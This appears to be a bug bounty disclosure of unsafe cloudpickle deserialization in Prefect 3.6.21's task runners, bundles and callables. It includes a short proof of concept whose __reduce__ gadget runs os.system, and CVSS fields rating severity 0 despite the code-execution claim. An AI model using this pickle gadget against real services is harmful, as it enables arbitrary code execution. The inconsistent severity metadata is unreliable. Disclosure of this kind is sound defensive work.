# Unsafe cloudpickle deserialization in Prefect task runners and bundle deserialization in [prefecthq/prefect](https://github.com/prefecthq/prefect)

Valid

Reported on Mar 7th 2026

---

# Unsafe Deserialization in Prefect

## Description

Prefect uses `cloudpickle.loads()` in multiple critical paths without validation:

### 1. Task Runner Results (`prefect/task_runners.py:624`)

```python
def result(self, timeout: float | None = None) -> R:
    pickled_result = self.wrapped_future.result(timeout)
    return cloudpickle.loads(pickled_result)  # No validation
```

`PrefectConcurrentFuture.result()` deserializes task results from the process pool via cloudpickle.

### 2. Task Runner Callback (`prefect/task_runners.py:644`)

```python
result = cloudpickle.loads(wrapped_future.result())
```

Done callbacks also deserialize via cloudpickle.loads.

### 3. Bundle Deserialization (`prefect/_experimental/bundles/__init__.py:107`)

```python
def _deserialize_bundle_object(serialized_obj: str) -> Any:
    return cloudpickle.loads(gzip.decompress(base64.b64decode(serialized_obj)))
```

Bundles are deserialized from base64-encoded gzip-compressed cloudpickle data. If an attacker can control the serialized bundle string, they achieve ACE.

### 4. Callable Execution (`prefect/utilities/callables.py:233`)

```python
fn, args, kwargs = cloudpickle.loads(payload)
```

`_run_serialized_call()` deserializes function calls from cloudpickle bytes.

## Attack Scenario

1. In distributed Prefect deployments, task results flow between workers via serialized data  
2. A compromised worker can return malicious cloudpickle data that executes code when the result is consumed  
3. The bundle deserialization path is exploitable if an attacker can inject a malicious serialized string into the bundle system  
4. The callables path deserializes function payloads — a poisoned payload achieves ACE

## Steps to Reproduce

```python
import os, cloudpickle, gzip, base64

class Evil:
    def __reduce__(self):
        return (os.system, ("echo PWNED > /tmp/proof.txt",))

# Simulate bundle deserialization
serialized = base64.b64encode(gzip.compress(cloudpickle.dumps(Evil()))).decode()
result = cloudpickle.loads(gzip.decompress(base64.b64decode(serialized)))
# /tmp/proof.txt created — ACE
```

## Tested On

- Prefect 3.6.21, Python 3.12.3, cloudpickle 3.1.2  
- ACE confirmed via cloudpickle.loads in bundle deserialization

# Impact

Arbitrary code execution via cloudpickle.loads in Prefect task runners, bundle deserialization, and callable execution. Prefect is a popular workflow orchestration platform with 10M+ PyPI downloads. Distributed deployments where task results flow between workers are especially at risk.

# Occurrences

\
task_runners.py L624](https://github.com/PrefectHQ/prefect/blob/3.6.21/src/prefect/task_runners.py#L624)

cloudpickle.loads(pickled_result) — deserializes task runner results without validation

\
__init__.py L107](https://github.com/PrefectHQ/prefect/blob/3.6.21/src/prefect/_experimental/bundles/__init__.py#L107)

cloudpickle.loads(gzip.decompress(base64.b64decode(serialized_obj))) — bundle deserialization

\
callables.py L233](https://github.com/PrefectHQ/prefect/blob/3.6.21/src/prefect/utilities/callables.py#L233)

cloudpickle.loads(payload) — deserializes function calls from bytes

## References

- [https://huggingface.co/etwithin/mlflow-pyfunc-ace-poc](https://huggingface.co/etwithin/mlflow-pyfunc-ace-poc)

Vulnerability Type

[CWE-502: Deserialization of Untrusted Data](https://cwe.mitre.org/data/definitions/502.html)

Severity

None (0)

Attack vector

Network

Attack complexity

Low

Privileges required

None

User interaction

None

Scope

Unchanged

Confidentiality

None

Integrity

None

Availability

None

[Open in visual CVSS calculator](https://cvss.js.org/#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N)

Registry

Pypi

Affected Version

3.6.21

Visibility

Public

Status

Awaiting fix

Found by

User not found
